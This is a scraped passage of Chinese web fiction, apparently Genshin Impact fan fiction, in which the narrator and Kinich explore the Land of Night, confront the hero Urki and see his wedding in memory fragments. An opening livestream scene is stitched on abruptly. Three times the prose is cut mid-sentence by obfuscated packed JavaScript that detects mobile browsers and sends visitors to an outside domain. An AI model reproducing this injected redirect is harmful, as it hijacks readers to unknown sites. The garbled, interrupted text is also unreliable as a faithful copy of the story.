我悄悄地凑了过去,一口气问出所有疑问:“你也玩这个游戏啊?你的直播间名字叫什么啊,我怎么从来没见过你这样的主播,是没露脸吗?” 基尼奇瞥了我一眼:“我的主播间名字是[Genshin],我确实没露过脸。” 我怔了片刻:“[Genshin]?好熟悉的名字。” 听到我的话,基尼奇看着我,眼神很奇怪。半晌,他才笑了笑:“没听说的话,很正常,我只是个小主播。” 我不好意思地摸了摸鼻子:“我也不算什么大主播。” 只是直播间总人气恰巧名列前茅而已。 片刻过后,麦克风开始闪起红光。基尼奇打开了直播界面,跟我是一个平台。 “大家好。”他用中文打了个招呼。 直播间瞬间刷屏。用着各国语言的弹幕如同潮水般汹涌而来,盯着看的我几乎花了眼,只看到一连串的“老公老公”。 还挺受欢迎。我揉了揉眼睛。 他修长的手指拂过金属网格,这个动作莫名让我熟悉。 下一秒,他说了一句塔国语言。嗓音低沉而纯粹,带有塔国语言特有的浪漫感。 我瞬间顿住。 我想起来了。 我僵硬地转头,看向一旁的男生。 他好整以暇地看向我,说了一句:“认出来了?” 不是哥们。 “哈哈,你在说什么啊,”我转身,若无其事地起身,准备开溜,“我出去散散步。” 他指了指我的衣服:“穿睡衣拖鞋散步?” 不行了,太尴尬了。一想起三年前我对他做的事我就无地自容。我得出去找我妈让他换一个寄宿家庭,要不然换个房间也行。 再不济,我搬出去也行。反正不能和他住了。 我后退着准备出房间,脚下一个不注意,踩到了摄像头的线。 “唰——” 眼看着我的宝贵设备要倒地,我赶紧扑了过去,扶住了摄像头,结果却不小心打开了开关。 我和基尼奇瞬间出现在电脑屏幕上。 我愣愣地看向想要来扶我的基尼奇,余光瞥见了一抹极其醒目的大红色弹幕从屏幕上飘了过去。 [啊啊啊啊阿,好帅两男的!不对,这不是小迷吗,怎么跑来这个直播间了。] 我去。 我赶紧放开基尼奇的手,想要捂住摄像头。 事实证明,在事情弄得一团糟的时候,结果只会变得更糟。 ——又有三条大弹幕出现。 [哦我想起来了,这个主播是三年前小迷连过线的!] [对,当时小迷还说要使劲撩这个塔国帅哥的,最后还扬言反正人家来不了华国!] [你们没发现这俩穿的是情侣睡衣吗?人家小帅哥来讨债了,小迷你就束手就擒吧!] 我捂住脸。 指缝中,基尼奇正看着我笑:“我来讨债了,伊迷。” 26. Chapter24 “怎么了?”我小心翼翼地问。 “这些文字,”基尼奇半跪在冰面上,似乎在思考着什么,指尖拂过那些微微反光的冰面刻痕,“并不像是现世纳塔的文字。” 啊? “不是说夜神之国只会接纳纳塔人吗?” “倒不是这个意思。”少年捡起黑曜石碎片,在刻痕旁划出对比符号,“这是纳塔古代祭祀用的密文,我在烟谜主部落里的织物上见到过类似的。” 我愣了下,随即看向无名灵魂。 这个灵魂还真的死了很久了。 我觉得事情有些奇怪:“夜神之国不是灵魂转世暂时的中转站吗?怎么会出现在这里长期停留的灵魂?” 基尼奇似乎也不确定原因,只是在努力辨识着这些刻痕字体。 “不行,”基尼奇摇摇头,“我所认识的只是一部分符号,很难推断出她想要表达的意思。” 听到我们的话,无头灵魂猝不及防地激动起来,虚化的手指穿透冰层,更多同样的荧光文字在冰面上如藤蔓般蔓延。 她运用的力量,整体上是湛蓝的水元素力,但脉络之中似乎带有深渊紫黑色的元素力。 我瞬间反应过来,把基尼奇拉了过来:“小心——” 系统冰冷而机械的声音突然在我耳畔炸响。 【系统提示:boss关联人物深渊状态已开启。】 果然是深渊。 冰面下的文字如蛇般迅速扭曲,紫黑色雾气源源不断地从冰痕的缝隙渗出。无头灵魂并没有朝更近的基尼奇做什么,而是径直越过他,猛地飘过来抓住我的手腕。 刺骨的寒意瞬间爬上脊椎。 恍惚间,我似乎听到了她的声音。 与深渊冷酷沉重的感觉不同,这是一道忧郁而轻柔的少女声音,话语中似乎还带着蜜果花香的味道。 “……英雄,帮我拿回,头颅与记忆,不想……折磨……” 声音缥缈,断断续续。 紧接着,破碎的画面涌入我的脑海:燃烧的部落、断裂的祭坛石柱、扬起的热血与紫黑色的雾气...... 深渊压抑沉重的元素力缓缓消退,我倏地清醒过来。 面前,无名灵魂早已消失,只剩下正扶着我的基尼奇。 “她让我们去找什么头颅与记忆,”我喘着气看向基尼奇,却发现他的袖口正在渗出血迹,“你受伤了?是因为刚才的深渊元素力吗?” “不严重,你没事就好,”基尼奇检查了下我的状态,“她应该是知道我们看不懂文字,所以直接把信息用灵魂传递给你了。” 刚才她突然握住我,声音和画面就直接出现在了我的脑海中,大概就是基尼奇所说的灵魂传递。 “她能使用深渊元素力,”我揉了揉刚才被她握住的地方,“而且长时间在这里徘徊,会不会因为她根本就不是纳塔人。” 我还记得刚刚系统称呼她具有“深渊状态”。 基尼奇摇摇头:“她确实是纳塔人——她使用的力量里带有纳塔的元素力。至于深渊的元素力,应该是因为这一片夜神之国都被侵蚀了,灵魂也受到了牵连。” “她之所以无法转世,大概也是由于灵魂被深渊侵蚀,不被夜神接纳。” 基尼奇摸了摸地上的文字,接着说道:“只是没有想到,她居然能忍受深渊的侵蚀和遗忘的痛苦,并且掌握了深渊的力量来发动灵魂传递。” 原来是这样。 “那我们要去替她找’头颅与记忆’吗?”我终于缓过气来,“要不还是算了,在这么危险的环境下,自保都困难。” 怎么可能还去帮一个无名灵魂完成生前的执念? “我们没有退路了。”基尼奇忽然说。 我向他投去疑惑的眼神。 他指了指自己的掌心,那里似乎多出来了一块黑色的印记。 就在我准备凑近看的时候,我的掌心也突然传来刺痛。 【系统提示:玩家与boss关联人物的契约已订立。】 难受的饥饿感奇迹般消退,但我的掌中也多出一块黑印,似乎是一朵玫瑰花的形状。 “她给我们下了契约,保证我们不会在这片概念国度里感到饥饿,”基尼奇看着自己手心同样的印记,“但相应地,我们三日内找不到她的执念之物,灵魂会被永远困在这里。” 基尼奇话语刚落,我就听见系统给出了同样的解释。 我感觉到一阵心梗。 这家伙应该是从我们一进秘境就注意到我们了,一直等到我们为了找到[食物]概念而出洞穴,才抓住时机下手。 刚想吐槽,呼啸的风中就传来了野兽咆哮的声音。 紫色雷电逐渐撕开天幕。 基尼奇迅速拉住我的手:“快走,有东西被惊动了。” * 我们东躲西藏,顺着基尼奇之前留下的记号,才勉强甩开了跟在我们后面的紫黑色雾气,回到了出发的洞穴。 洞穴外的狂风裹挟着冰晶,在岩壁上撞出细碎的滴答声。 我皱着眉,盯着掌心盛开的黑色玫瑰印记。花瓣边缘似乎在不断“绽放”,渗出紫金纹路,像血管般微微搏动。 这个印记应该会随着时间生长。 “伊迷,我们要抓紧时间了。”基尼奇好像也发现了这一点,他简单处理了一下手臂上的伤口。 我恹恹地说:“道理是这样没错——但我们要到哪去找她的头颅?” 而且外面还有这么多深渊魔物。 基尼奇想了想,把自己有印记的那只手递给我。 我不明所以地伸手捏了捏。 他顿了一下,无奈道:“不是要握手——我的意思是,你没有感觉到这只手出现了异状吗?” 我摸了摸鼻尖,一脸疑惑。 基尼奇解释道:“这只手可以暂时使用元素力了。” 元素力?我怎么没感觉到? “应该是借用的那个灵魂的元素力,”基尼奇挥了挥手,洞穴中即刻出现了一阵水汽,“你试着把注意力放在这个印记上,然后调动全身力量。” 我愣了一下,然后照基尼奇的说法试了试。 元素力,元素力,元素力…… 无事发生。 我面无表情地说:“可能我还不太会用。” “慢慢来,”基尼奇操控着水汽凝成水滴,“这种’借来’的元素力很独特,我在使用的时候,能清晰地感受到同源的元素力所在地。” “你的意思是,”我看向空中透明的水滴,“我们可以用这种特点来找到那个灵魂的头颅?” 基尼奇点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982088|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我能感受到的方向有三个,”基尼奇望向远方,“前两个方向是无名灵魂与她的头颅,相隔并不遥远。” “另外一个,是你。” * 修整过后,我们踩着冰层,向元素力所展示的那个方向前行。 夜神之国中,紫黑色雾气依旧浓郁,呜咽的风中仿佛还漂浮着细小的记忆残片,偶尔会撞在我和基尼奇的脸上,闪过陌生人的悲欢离合。 基尼奇的灰白色衣服在风中翻卷,苍绿色的发带在低沉的天幕下散发着微光。 “到了。”他忽然停步,半空中指路的水元素消失。 眼前的黑曜石断崖垂直插入坚硬冰原,岩壁上密密麻麻地刻满古老的符号。 这些符号中,有些笔画深深嵌入石层,泛着暗红的铁锈色。到断崖的末端,符号好像越写越浅,最终变成空白,似乎镌刻人也难以下笔。 目之所及,并没有什么灵魂头颅。 我仔细观察了一下:“这些符号,似乎都是同一句话。” 基尼奇大概认识这些字。他看了半晌,然后说道:“‘乌尔基’?” “乌尔基?人名吗?你认识?” 他抿了抿唇:“乌尔基是古名[回火]的一任继承人,也属于悬木人部落。” 回火?如果没记错的话,我看的杂书里面,似乎有讲过,悬木人的始祖尤潘基也是这个古名。 我跟基尼奇讲了我所了解的信息。 基尼奇的眼神忽然变得奇怪:“尤潘基的确是[回火]古名的创始者,但是,他并不是因为回头看了妻子一眼而牺牲于回火之中,悬木人部落也并非如此创造。” “事实的真相远比杂书中介绍的复杂得多,”基尼奇看向我,“并不是简单改编的爱情故事。” 这样啊。 怪不得我才开始看的时候感觉奇怪,原来这个故事是编的。 “如果感兴趣的话,出去之后,我再讲给你。” 我点了点头:“也当睡前故事吗?” 他默了默:“……如果你想的话。” 我拍了拍他的肩膀:“谢谢,所以乌尔基怎么了,为什么会被刻在这里?” “这个字迹应该都出于一人之手,”基尼奇的指尖顺着字迹的纹路游走,“看起来很像是那位无名女魂的手笔。” “你是说,乌尔基与她有关联?” “乌尔基是[回火]之名继任者中在任最短的,他曾经有一位青梅竹马的恋人,在他们结为夫妻的当天夜晚,悬木人遭到了深渊的进攻,他死于这次进攻,他的妻子没过多久也失踪了。” 我想了想:“如果这些字是那个女魂刻的,那她很大概率就是乌尔基的恋人。” 基尼奇点了点头:“也许这就是她让我们找的记忆的关键点,她并不想忘了自己死去的恋人。” “但是,”我挠了挠头,“这些字都是她刻的,她没理由需要我们来提醒啊。” “正常的纳塔人,无论以何种死亡方式,都是无法做到割裂灵魂的,”基尼奇看了看手中的黑色印记,“所有的疑问,应该都与深渊有关。” “而且,我们没有在这里看见她的头颅,”基尼奇将我护在身后,看向前方空无一物的茫茫雾气,“那么,元素力指向的同宗之物——” “——可能是别的东西。” 27. Chapter25 被一个七岁小孩护在身后的感觉很奇妙。 我戳了戳基尼奇的脸颊:“喂,基尼奇,你挡在我前面是有自信的防御能力吗?” “没有,”他诚实道,“但你看起来更……” 我捂住他的嘴。 凛冽的寒雾中,温暖的火光突然亮起。 下一秒,我们面前诡异崖壁上的名字居然全部消失。 出人意料的是,迎面走来的并非臆想中的深渊魔物。 一个高大的身影拨开风雪走来。看样子是一个男人——没错,这回我们见到的,是真真正正的活人,而非灵魂。 他五官深刻,左眼戴着一只黑色的眼罩,露出来的右眼却分外鲜亮。明明赤着布满伤痕的胸膛,但却不显羸弱残喘,反倒更加具有野性的意味。 他手上捏着一团缓缓跳动的火焰,暗红色图腾从脖颈蔓延至胸膛,在跃动的火光中如同流动的岩浆。 我想了想,觉得他应该是能使用火元素力的纳塔人,只是不确定到底有没有被深渊污染。 忽然出现在夜神之国的活人,难道是悬木人派来的救兵? “燃素刻录纹?” 我听见基尼奇低声念道。 “什么?” “他身上的那个纹路,叫燃素刻录纹”,基尼奇似乎松了口气,“这是专属于强大的部族战士的花纹,是勇气、能力和荣誉的符号。他身上的是悬木人的刻纹。” 这样说,还真是搬来的救兵咯。 “迷途的纳塔旅者?”对面的男人开口,声音很独特,如同野火烧过深秋的枯草和干枝。 他似乎很久都没说过话了,语调也很奇怪,完全不同于纳塔的正常语言。 我刚放下来的心又紧起来。 基尼奇按了按我放在他肩膀上的手,看向男人,冷静回答:“无意冒犯,我们不小心进入此地,正为如何出去而烦恼。” 男人爽朗大笑:“既如此,外面寒风正紧,不若跟着我去敝舍一歇,再做详谈。” 敝舍?这鬼地方还有屋子? 基尼奇点了点头。 男人转身,走在前面带路。浓雾将他的身影包裹得若隐若现。 我看了他半晌,凑到基尼奇耳边,小声说道:“他似乎是这个地方的土著民——夜神之国也会有土著民吗?” “我也没有听说过,”基尼奇压低声音,“但是已经遇上了,也没有别的办法,只能跟他去看看了。” “他身上既然有悬木人的刻纹,就说明人品不坏,而且,也没有比现在更糟的情况了。” 说的也是。 我扬起声音:“前辈,敢问尊讳?” 雾里传来男人粗犷的声音:“叫我乌尔基就行。” 乌尔基!他不是死了吗? 我和基尼奇对视了一眼。 “他居然是乌尔基,”我悄悄指了指身后的黑曜石山脉,“那他出现的时候,崖壁上的文字为什么会消失?” “我们可能猜错了,”基尼奇想了想,“本来以为无名女魂是乌尔基的妻子,现在看来,他们似乎是仇人。” ……那我们还去找契约对象的仇人啊。 算了,先这样吧,无名女魂看起来更像是坏人。 * 风雪尽头,一个黑曜石雕出的小屋映入眼帘。 “咯哑——” 乌尔基推开门,踏了进去。他一挥手,纯粹的火元素力就点燃了屋内的所有灯具和地面上的篝火。 我清晰地看见半空中散逸的白色流体。 门、桌、窗——是基尼奇所说的[概念]。 “概念制成的小屋?”基尼奇环视一圈,“该说不愧是[回火]的继承者吗?” 男人似乎顿了一下,罕见地露出惊讶的神色:“你们认识我?” “当然,百年前凭一己之力拯救悬木人部落的英雄。” 他摆摆手:“都是大家的功劳——这么说,你们也是悬木人部落的孩子?” 我朝他点了点头。 他收拾好凳子,示意我们坐下烤火:“你们怎么会进入这个地方?我能感觉到,你们的寿命并未燃尽。” “说来话长,受制于一些意外,现在无法脱困,”我迫不及待地把手放在火堆上,温暖的热量终于让我感觉到自己还活着,“倒是您,传说中,您牺牲于那场战役,但现在来看,事实似乎并非如此。” “我确实死于那场袭击,”他解释道,“当时,深渊污染了地脉,我作为[回火]的继承者,体质又比较特殊,以身为祭,瓦解了这场阴谋,所以如你们所见,我成了这片亡灵之国的唯一活人。” “百年来,我驻扎于此,为迷途的灵魂引路,遇见了不少后辈——虽然这几年,灵魂似乎少了许多。但遇见活人,还是头一回。” 乌尔基仔细地看着我们,似乎很久都没有这样长谈。 他忽然想到什么,问道:“说起来,两位可曾在传说中听说过流泉之众的盖青姑娘?” “盖青?” 火光之中,基尼奇犹豫了一下,开口道:“是您的妻子吗?” 乌尔基点了点头,期待地看向我们。 “未曾。” 他眼中似乎黯淡了一下。 他的爱意与思念太过浓厚,在夜神之国中几乎可视化,白色的概念流体飘起。 我看着基尼奇面不改色地撒谎,悄悄地朝他使了个眼色。 怎么不告诉他无名女魂的事情? 基尼奇淡淡地看了我一眼,似乎在告诉我别急。 “不知道为什么,我从未在夜神之国中见到我妻子的灵魂——” 乌尔基叹了口气,起身朝里间走去:“——不提也罢。我去给你们找点食物。概念之国里,饿得会很快。” 他应该没看出来我们已经与无名女魂订立了契约,不会感到饥饿。 要是看出来了,说不定他也不会如此平静,毕竟我们手上的,是深渊力量的印记,是他毕生的敌人。 乌尔基在房间里忙活。 我看着他脱下了一直虚虚罩着的外衣,然后背对着我们翻找柜橱。 在男人敞开的脊背中央,本该是心脏的位置,一团青蓝色光球正在血管间脉动。 “……基尼奇。”我扯了扯基尼奇的袖子。 “我看见了,他的心脏似乎有问题,”基尼奇压低声音,“而且我感觉到头颅的位置一直就在我们身旁。” 我猛地一惊,起了一身鸡皮疙瘩:“你别告诉我那颗心脏就是头颅。” 基尼奇默了默:“事实如此。” 你们悬木人的英雄不太对吧!怎么会有英雄把别人的头颅做成心脏! “先别急,”基尼奇说道,“他看样子并不知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982089|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的心脏有问题——毕竟从前面看是正常的。” 我呼出一口气:“那我们要告诉他吗?” “不告诉他,”基尼奇盯着乌尔基的背影,“现在很多事情还没确定。” 我有些着急:“我们还要拿出头颅,这不就意味着要杀了这个人吗!” 符不符合道义暂且不论,从他随手一挥散发出的浓郁元素力来看,我们两个根本就打不过他吧! “拿出头颅他不会死,”基尼奇冷静道,“这是生死交接的国度,而他已经在现实中死亡了,在这里不会再度死亡。” “也就是说,他现在是不死的?” 怪不得能活这么长时间。 基尼奇点了点头。 我面无表情地看着他:“那不更打不过了吗?” “勉强一试,”基尼奇握了握拳头,蓝色的水元素力在指缝间流转,“他也有他的弱点。” 乌尔基很快端来了两碗热气腾腾的汤。 他笑着看向我们:“快吃吧,这几百年来闲来无事,我都在练习厨艺,味道应该还过得去。” 基尼奇接过碗:“谢谢前辈。” 我微抿了一口,看了基尼奇一眼,站起身:“前辈,我来给您按摩吧,就当是收留我们的回礼。” “太客气了,小朋友,”乌尔基看样子完全信任了我的话,把后背完全暴露在我的面前,“我最近背也很酸,如果可以的话,那就感谢你咯。” 我搓搓手,站在他的视线盲区,示意基尼奇做好准备。 下一秒,我猛地伸出手,想要掏出那团青蓝色的光球。 就在我的手触碰到那颗光球的一瞬间,一丝紫黑色的雾气突然从乌尔基的脊背上钻出,缠住了我的手腕。 一阵剧痛袭来。 我眼疾手快地拔出达尔送给我的短剑,砍断了这缕雾气。 “刚才我就想说了,”乌尔基阴恻恻地说道,嗓音发生了翻天覆地的变化,“两个小孩盯着我的后背做什么。” “原来,是图谋不轨的货色。” “跟深渊一样。” 幽幽的火光中,乌尔基的身影忽然长出无数紫黑色的雾状手臂。他的全身上下正在缓缓融化,露出森森白骨。 基尼奇倏地闪过来,拉住我的手腕就往门外跑。 下一秒,乌尔基发出非人的嘶吼,小屋随之响起不堪重负的哀鸣声。 我喘着气回头一看,他胸前的光球似乎也发生了变化,无数记忆碎片在半空中飘扬——燃烧的婚房、断裂的祭台、悲伤的少女无声哭泣。 每个画面都缠绕着紫黑色雾气,将整片天地染成了不详的深紫色。 原来记忆与头颅是一体的。 我正思考着对策,一团黑影却突然袭来,我惊呼道:“小心!” 基尼奇掌中用女魂元素力形成的水刃与袭来的雾刺相撞,冰晶四溅。 我尽全力躲开蔓延的黑浪,袖口却还是被腐蚀出了焦痕。 乌尔基已经完全异化成巨大的深渊魔物。在他疯狂的袭击下,夜神之国的冰原开始迅速崩塌。 “伊迷,抓紧我!” 基尼奇揽住我的腰,跃向冰原中的裂缝。 失重感袭来的瞬间,我看到乌尔基白骨胸腔中的头颅似乎露出了悲伤的微笑。淡蓝色的水元素力在深渊黑雾中闪烁,如同百年不灭的泪滴。 28. Chapter26 深蓝色的冰面在视野中急速缩小,冰层上蛛网状的裂纹却蔓延得很快。 乌尔基化身的怪物并没有追来,我们在无数冰晶和光点中坠落。 外面的声音如此嘈杂,我却只听见基尼奇平缓的心跳声。 我贴着他的胸膛吐槽:“我们这样掉下去会死吧。” “不知道,”基尼奇说道,微微的震感透过紧贴的肌肤传了过来,“但也不是不行。” 好你个小基尼奇,黑泥属性终于暴露了! 谁要跟你一起死! 我正想着怎么掉下去受伤最小,却听见了一声长叹。 下一秒,下坠骤停,我和基尼奇的身下浮起半透明的涟漪。 光尘构成的涟漪托着我们微微浮动,停留在离地三尺处。丝绸般纤明柔软的元素力缓缓渗入关节,肺腑里翻涌的血潮突然安静下来。 我愣愣地仰头,望见冰雾中蜿蜒的灵脉,如同海中的鲸游过云端。 有点漂亮。 得救了,虽然不知道为什么。 “这种感觉,”基尼奇环视了一圈,“像是大灵的元素力。” 我从元素力构成的织网上跳了下来,也观察了一下周围。 蓬勃的元素力之后,并不是预想中的嶙峋的冰川和岩壁。 这里的空间非常广阔,六根黑曜石立柱呈环状矗立,每根柱体表面似乎都浮刻着繁复而古老的图腾。黑曜石中间,是一个巨大的祭坛。 托住我们的元素力发源之地就在祭坛中央。 “诶,基尼奇,”我顶了顶基尼奇的肩膀,“你刚才有没有听见叹息声?” 基尼奇淡淡地看了我一眼:“叹息声?我没听见,我只听见你在叫。” “喂,从那么高的地方掉下来,我叫不是很正常吗,”我白了他一眼,“你面不改色地说出一起死这种话才不正常吧。” “对不起。”基尼奇真诚道歉。 “不跟你计较,”我转头看见了一根很眼熟的柱子,朝它走了过去,“话说刚才救下我们的,应该是大灵吧。” 走近之后,我才发现,这根柱子上的图腾,与悬木人部落入口悬挂的图案非常相似。 “这根黑曜石柱好像是悬木人的——” 基尼奇也走了过来,对我的说法表示赞同:“不仅如此,其他五个似乎也对应着纳塔的另外五个部落。” 这样吗。 “那这个祭坛有什么用?召唤夜神吗?” 这样的鬼地方居然还有这么齐全的大灵柱。 基尼奇思考了一下,伸出手碰了下悬木人的黑曜石柱。 下一秒,半空中的元素力一滞,然后缓缓向基尼奇的方向涌来。 我看见基尼奇的身上亮起绿色的光芒。 “你身上怎么亮起来了?”我好奇地问,“要变身了?” 我想起了之前玩的修真全息里见到的什么秘境传承,一时间觉得这和基尼奇的现状有些像。 基尼奇似乎也没预料到这种情况。 “好久不见,孩子。” 一道空灵的声音从我们背后响起。 我转身,并没有看到人影。 难道是大灵?没有实体吗? 对方似乎猜到了我的想法:“我并非大灵分身,而是夜神。” 夜神!来到游戏几个月后,我终于见到了这个游戏的神明体系。 [系统提示:恭喜玩家解锁神灵图鉴(1/?)] 系统的提示音证明面前的声音所言非假。 “夜神大人。”基尼奇上前一步,把手放在胸口前,“请问您为何说好久不见?” 哦,对,光顾着惊讶,忘记她刚才的说辞了。 “你不记得,也罢,在你的前世,我们曾见过,”夜神回答道,不知道为什么,总感觉她的声音听来有些有气无力,“眼下时间紧迫,这个暂且不论。” 前世?生命轮回吗? “相信你们也见到了,乌尔基已经压制不住深渊的侵蚀,从部族的英雄沦为了一个怪物。关于你们与盖青的契约,我也已经知晓。” 盖青?无名女魂还真的是盖青。那为什么…… 我看了基尼奇一眼,对方似乎也很惊讶。 “先别着急,我的孩子们。” “我能消耗的体力并不多,你们需要的记忆,我稍后会为你们托梦展示,在你们睡眠期间,我会保证这里的安全。” 夜神似乎也受到深渊侵蚀的影响了,所以才会说体力不多。没想到纳塔的情况已经如此恶劣,连传说中的神明也难逃污染。 基尼奇道谢:“夜神大人的帮助,我们感激不尽。” “你们都是我的孩子,无需言谢,”夜神的声音从虚空中传来,“好了,现在你们可以踏上祭坛了。” 基尼奇拉着我的手,站上了祭坛的中央。 祭坛上的图腾开始流动,浅金色的元素力沿着符文的脉络漂浮。我的意识忽然变得昏沉,恍惚间,我似乎漂浮到了一处记忆的海洋,看到了无数记忆碎片。 在其中的一块碎片中,我看见了一个非常眼熟的青年。 诶,这不是基尼奇吗? 不对,还不准确,这应该是长大版的基尼奇。 夜神的记忆中还能瞥见未来吗? 我好奇地凑近。 画面里,青年已经发生了翻天覆地的变化,与小时候的样子大相径庭。 他身量很高,头发似乎也变长了,被那条我送他的绿色像素发带揽着。上身穿着紧身的黑色狩衣,苍绿色的外套虚虚地系在劲瘦的腰间,露出的皮肤上似乎纹着绿色的燃素刻录纹。 整个人看起来像已经出鞘的剑刃,蛰伏着等待猎物出现。 虽然很帅,衣着打扮看样子也过得很好,但我总觉得怪怪的。 他看起来似乎很孤独。 我正想喊他,那双未曾改变的苍绿色眼眸先一步定位到了我。 嘿。 我朝他笑着挥了挥手。 青年似乎怔了一下,随即迅速朝我甩出钩锁,似乎想绑住我。 我不知道他为什么这么大反应,倒也没躲。 灵活的钩锁刺破记忆碎片,裹挟着青色的像素光尘,在碰到我的前一秒,消弭于无形。 诶? 哦,对,这应该只是记忆或未来的想象,跟我不在一个维度。 我觉得自己有点傻,竟然企图跟未来的人交流。 “怎么了?愣着做什么?” 我回头一看,少年版本的小基尼奇正淡淡地看着我。 我还是更喜欢这一版的。 我跑上去,揽住他的肩:“刚才看见长大的你,还挺帅!” “嗯,大概是关于未来的想象,”基尼奇似乎毫不惊讶,他指了指不远处的一块记忆碎片,“先去看看乌尔基的那部分记忆吧。” * 这部分记忆似乎很是破碎,勉强拼凑才能看到完整的时间线。 进入记忆碎片的一刹那,我感觉到周围的风开始流动,非常有身临其境的感觉。 最开始的一个画面是百年前的悬木人部落。 眼下似乎正是夜晚,我和基尼奇落到了一处篷屋的前面。 宾客络绎不绝,红绸沿着干净的篷面布置,延伸到房子的檐角。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982090|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这应该就是乌尔基和盖青结婚时的场景,只是没想到纳塔人结婚也尚红。 “我们进去看看,”基尼奇示意我跟上,“他们看不见我们。” 游戏的某些场景非常贴近设定。这个篷屋的内里不大,布置也很符合部落社会的简朴特点,但房间内很干净,也很热闹。 乌尔基和盖青穿着纳塔的传统服饰,站在人群的中央,接受着四面八方的祝福。 这时候的乌尔基似乎还很青涩,听着周围的夸赞甚至还会偶尔脸红。他确实是位勇猛的战士,就连结婚时,礼服下面还是磨薄的皮甲,隐约露出结实的胸膛和火红色的燃素刻录纹。 到现在,我们才得以看见盖青的长相。她身材很纤细,但看起来也很有力量,应该属于那种灵活的战士,跟她的新婚丈夫十分相配。她温柔地看向周围的宾客,她在的地方,仿佛就有蜜果花香的味道,与我第一次见到她的印象一致。 他们的十指紧握,从未分开。 宾客们觥筹交错,似乎都由衷地祝贺这对新人的结合。 说实话,见多了我和基尼奇的父母这种搭伙过日子甚至反目成仇的夫妻,再见到乌尔基和盖青结婚时其乐融融的场景,我只觉得难得和唏嘘。 只是这一对恋人最后结局也不算好,似乎也成了仇人。 “诶,基尼奇,”我好奇地问道,“悬木人结婚有什么特别的仪式吗?” 他似乎愣了下:“这个我没深入了解过,但最重要的一环应该是在大灵前面结誓,宣告互不背叛、永远甘苦同担。” “那誓言有效力吗?” 在这样的世界,连神明都有了,想必给誓言附力也不是难事。 “没有,”基尼奇摇摇头,“如果爱情需要外力来维持,那便失去了本身的崇高。纳塔的神明从不过问此事,这是纳塔人民凭借自身能够做到的事情……” 哦。 也对,要是誓言有效力,也不会出现像我和基尼奇父母这样的情况了。 我看着基尼奇认真解释的样子,突然想调侃一下他:“诶,小奇老师在部落里有没有喜欢的女孩?” 基尼奇忽然顿住了。 我觉得自己在教唆他早恋。 半晌,他看着远处的红绸,冷淡地说道:“没有。” “那就好,”我满意地拍了拍他的背,“你还小,不许谈恋爱。” 基尼奇瞥了我一眼,似乎有些无语。 没办法,谁让系统给了我一个快成年的人一副小孩身体呢。 在我们闲谈的间隙,对面的新人已经把流程走完了,似乎已经到了宣誓的环节。 我看到一个首领打扮的人从人群中站了起来:“两位部族的骄傲,请随我到黑曜石柱前宣誓吧。” 两人对视了一眼,迈开步子准备出去。 就在这时,变故突生。 远处的天空下,遽然传出巨大的爆炸声。几乎瞬息间,紫黑色的雾气就冲天而起,蔓延至整片天幕。 人群里发出惊呼声,有小孩子的哭声响起。 “是深渊!深渊入侵了!” 年轻的新婚战士对视了一眼。 乌尔基拦住盖青:“你身上的礼服不便行动,让我去吧。” 盖青倒也没有说什么,她只是伸手拂去丈夫的碎发:“好,一切小心,我等你回来。” 得到应允后,乌尔基立刻跟着首领冲出篷屋,朝远处的黑暗赶去。 “大家不用担心,请相信我们的勇士。”盖青环视一圈,安抚在场留下的宾客。 我看了基尼奇一眼,我们立刻退出了这个已经播放完毕的记忆碎片。 29. Chapter27 下一个画面,是乌尔基和其他部落勇士对抗深渊的场景。 不得不说,年轻时候的乌尔基打起架来真的很凶。即使我和基尼奇站在半空,眼前也全都是飞溅的火花和漫天的火焰。 简直比达尔的元素力还凶,不愧是[回火],用起火来简直得心应手。 虽然古名和元素力好像没什么关系。 想到达尔,我又确认了一遍腰间系着的符箓还完整。看样子,达尔那边的巡夜者战争还算顺利。 我放下心来,仔细观察战场的情况。 深渊魔物显然不敌新婚buff加持下的乌尔基,被打得毫无还手之力。 一切很快结束。最后一只魔物被烧碎为烟尘后,乌尔基收起刀,朝周围的战士自豪地宣布道:“我们赢了!” 此起彼伏的欢呼声响起,一群人簇拥着乌尔基朝新婚婚房走去,想要继续他的婚礼。 刚才的首领却拦住了他们。 他捋了捋胡子:“诸位,战争尚未结束。” “为什么?”人群里传来疑问,“魔物不都被消灭了吗,首领您可别耽误乌尔基的婚礼呢!” 乌尔基也愣了一下,随即似乎感受到了什么,脸色变得难看起来。 “是地脉。”乌尔基沉声说道。 “地脉?地脉怎么了?” 首领制止了人群的喧哗,皱着眉说道:“除了乌尔基以外的人,先回去报捷,让盖青和其他人安心。” 其他人虽心有疑惑,但也知道首领的话是认真的。 